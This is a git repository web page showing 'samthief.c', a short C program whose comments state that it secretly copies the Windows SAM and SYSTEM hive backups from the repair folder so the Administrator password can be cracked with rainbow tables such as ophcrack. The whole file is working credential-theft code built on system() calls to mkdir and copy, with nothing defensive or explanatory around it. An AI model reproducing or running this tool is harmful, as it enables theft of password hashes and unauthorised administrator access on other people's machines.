docs
[mirrors/Programs.git] / c / samthief.c
1 #include <stdio.h>
2 //SAMThief - Harvie (2oo7)
3 /*
4 Quicky & secretly copies sam & system files from %systemroot%\repair
5 This files should be used to crack, Administrator password.
6 For example by using ophcrack.sourceforge.net (Rainbow tables crack)
7 */
8
9 int main(int argc, char *argv[])
10 {
11 srand(time(NULL));
12 unsigned char i = rand();
13 #define SIZE 64
14 char dir[SIZE], now[SIZE];
15
16 sprintf(dir, "%%username%%\\%d\\", i);
17 printf("%s\n", dir);
18
19 //system("@echo off");
20 sprintf(now, "mkdir %s", dir);
21 system(now);
22 sprintf(now, "copy %%SystemRoot%%\\repair\\sam %s", dir);
23 system(now);
24 sprintf(now, "copy %%SystemRoot%%\\repair\\system %s", dir);
25 system(now);
26 //system("PAUSE");
27 //return 0;
28 }
This page took 0.376525 seconds and 4 git commands to generate.